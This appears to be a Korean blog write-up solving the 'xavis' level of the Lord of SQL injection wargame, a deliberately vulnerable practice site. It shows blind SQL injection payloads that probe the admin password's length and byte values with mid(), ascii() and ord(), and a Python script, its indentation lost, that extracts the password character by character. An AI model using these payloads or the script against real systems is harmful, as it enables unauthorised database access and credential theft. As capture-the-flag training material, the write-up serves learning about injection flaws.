본문 바로가기

WarGame/Web

[Lord of SQL injection] xavis

소스코드 분석

if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");

if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe"); 

정규표현식이랑 like를 필터링하고 있다.

나머지는 크게 다른게 없고 admin의 pw만 알면되는 Blind SQL injection문제다.


일단 길이부터 구해보면 40글자나 된다. 그리고 다른 Blind SQL injection 문제를 풀었던 

소스코드로 돌려보니 0이 반환되었다,


?pw=%27%20or%20id=%27admin%27%20and%20length(pw)=40%23

pw=' or id='admin' and length(pw)=40%23



한글자당 길이(byte)를 찾아보니 4byte 임을 확인하였다.


?pw=%27%20or%20length(mid(pw,1,1))=4%20and%20id=%27admin

pw=' or length(mid(pw,1,1))=4 and id='admin




한글인가 해서 비교를 해봤는데 '가'보다 작아서 한글은 아니였다. 



이리저리 찾다가 ascii 영역에 확장 ascii 영역이 있어서 넣어보니 하나 씩 풀림.

ascii 함수와 ord 함수를 사용을 해봤는데 ascii함수는 풀리지 않았고 ord 함수만 사용을 해야됐다.


?pw=%27%20or%20ascii(mid(pw,1,1))%20=%20184%20and%20id=%27admin

?pw=%27%20or%20ord(mid(pw,1,1))%20=%20184%20and%20id=%27admin

두 함수의 차이점은 

https://dev.mysql.com/doc/refman/5.7/en/string-functions.html


ASCII()

ASCII() Return numeric value of left-most character

ASCII () 맨 왼쪽 문자의 숫자 값을 반환합니다


Returns the numeric value of the leftmost character of the string str. Returns 0 if str is the empty string. Returns 

NULL if str is NULL. ASCII() works for 8-bit characters.

문자열 str의 가장 왼쪽 문자의 숫자 값을 반환합니다. str이 빈 문자열이면 0을 반환합니다. str이 NULL이면 

NULL을 반환합니다. ASCII ()는 8 비트 문자로 작동합니다.



ORD()

ORD() Return character code for leftmost character of the argument

ORD () 인수의 가장 왼쪽 문자에 대한 문자 코드를 반환합니다.


If the leftmost character of the string str is a multibyte character, returns the code for that character, 

calculated from the numeric values of its constituent bytes using this formula

문자열 str의 가장 왼쪽 문자가 멀티 바이트 문자이면이 수식을 사용하여 구성 바이트의 숫자 값에서 

계산 된 해당 문자의 코드를 반환합니다.


  (1st byte code)

+ (2nd byte code * 256)

+ (3rd byte code * 2562) ...


If the leftmost character is not a multibyte character, ORD() returns the same value as the ASCII() function.

가장 왼쪽의 문자가 멀티 바이트 문자가 아닌 경우 ORD ()는 ASCII () 함수와 동일한 값을 반환합니다.


import http.client

result=''
header={'Cookie':' '}

for i in range(1,11):
substr = '/xavis_fd4389515d6540477114ec3c79623afe.php?pw=%27%20or%20ord(mid(pw,'+str(i)+',1))%20>%20128%20and%20id=%27admin'
conn = http.client.HTTPConnection('los.eagle-jump.org')
conn.request('GET', substr.encode('utf-8').decode('utf-8'), '', header)
data = conn.getresponse().read()
if 'Hello admin' in data.decode():
print('extecded ASCII')
for j in range(128,256):
substr='/xavis_fd4389515d6540477114ec3c79623afe.php?pw=%27%20or%20ord(mid(pw,'+str(i)+',1))%20=%20'+str(j)+'%20and%20id=%27admin'
conn=http.client.HTTPConnection('los.eagle-jump.org')
conn.request('GET',substr.encode('utf-8').decode('utf-8'),'',header)
data=conn.getresponse().read()
if 'Hello admin' in data.decode():
char = chr(int(j))
result = result + char
print ('ord(mid(pw,'+str(i)+',1))%20=%20'+char+'('+str(j)+')')
break
else :
print('ASCII')
for j in range(0, 128):
substr = '/xavis_fd4389515d6540477114ec3c79623afe.php?pw=%27%20or%20ord(mid(pw,' + str(i) + ',1))%20=%20' + str(j) + '%20and%20id=%27admin'
conn = http.client.HTTPConnection('los.eagle-jump.org')
conn.request('GET', substr.encode('utf-8').decode('utf-8'), '', header)
data = conn.getresponse().read()
if 'Hello admin' in data.decode():
char=chr(int(j))
result = result + char
print('ord(mid(pw,' + str(i) + ',1))%20=%20' + char+'('+str(j)+')')
break
print ('Password is '+result)



'WarGame > Web' 카테고리의 다른 글

[Lord of SQL injection] iron_golem  (0) 2017.06.02
[Lord of SQL injection] dragon  (0) 2017.06.01
[Lord of SQL injection] nightmare  (0) 2017.05.28
[Lord of SQL injection] succubus  (0) 2017.05.28
[Lord of SQL injection] zombie_assassin  (0) 2017.05.28